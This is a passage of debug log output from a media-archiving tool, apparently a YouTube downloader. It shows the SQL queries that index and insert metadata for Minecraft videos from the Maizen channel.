19:36:08.498 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:08.500 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 19:36:08.501 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "8253d5aa-ccfa-4610-bbb2-7fa7745216c3", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 02:36:08Z], ~U[2026-08-20 02:36:08Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 19:36:08.501 [debug] QUERY OK source="sources" db=0.1ms idle=62.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:08.501 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:08.502 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [128101] 19:36:08.502 [debug] Current batch of media processed. Will check again in 1000ms 19:36:09.503 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2291, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", "id" => "m-eW0HpIFp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-eW0HpIFp0", "playlist_index" => 12, "timestamp" => 1779774844, "title" => "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "upload_date" => "20260526"} 19:36:09.504 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:09.504 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:09.505 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 19:36:09.506 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "66939221-7664-4130-af4f-162094733cea", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 02:36:09Z], ~U[2026-08-20 02:36:09Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 19:36:09.507 [debug] QUERY OK source="sources" db=0.2ms idle=67.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:09.507 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:09.507 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115031] 19:36:09.508 [debug] Current batch of media processed. Will check again in 1000ms 19:36:10.508 [debug] Current batch of media processed. Will check again in 1000ms 19:36:11.509 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1140, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", "id" => "G0WIo8d6jaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "playlist_index" => 13, "timestamp" => 1779500499, "title" => "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "upload_date" => "20260523"} 19:36:11.510 [debug] QUERY OK source="sources" db=0.2ms idle=727.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:11.510 [debug] QUERY OK source="sources" db=0.1ms idle=727.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:11.512 [debug] QUERY OK source="media_items" db=1.4ms idle=728.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 19:36:11.513 [debug] QUERY OK source="media_items" db=0.7ms idle=729.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "1844dca2-7e5d-428a-8e02-83e9fed204b4", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 02:36:11Z], ~U[2026-08-20 02:36:11Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 19:36:11.513 [debug] QUERY OK source="sources" db=0.2ms idle=71.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:11.513 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:11.514 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105336] 19:36:11.514 [debug] Current batch of media processed. Will check again in 1000ms 19:36:12.515 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 25255, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", "id" => "hRyqA0Yp7pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "playlist_index" => 14, "timestamp" => 1779434034, "title" => "Minecraft", "upload_date" => "20260522"} 19:36:12.516 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:12.516 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:12.517 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 19:36:12.518 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "b31af3de-47ee-4394-b18c-6a7f375c0a9f", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 02:36:12Z], ~U[2026-08-20 02:36:12Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 19:36:12.519 [debug] QUERY OK source="sources" db=0.1ms idle=75.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:12.519 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:12.519 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105337] 19:36:12.519 [debug] Current batch of media processed. Will check again in 1000ms 19:36:13.520 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2386, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", "id" => "gu_xiQyFWhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gu_xiQyFWhs", "playlist_index" => 15, "timestamp" => 1778987277, "title" => "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "upload_date" => "20260517"} 19:36:13.521 [debug] QUERY OK source="sources" db=0.3ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:13.521 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:13.523 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 19:36:13.525 [debug] QUERY OK source="media_items" db=1.6ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and 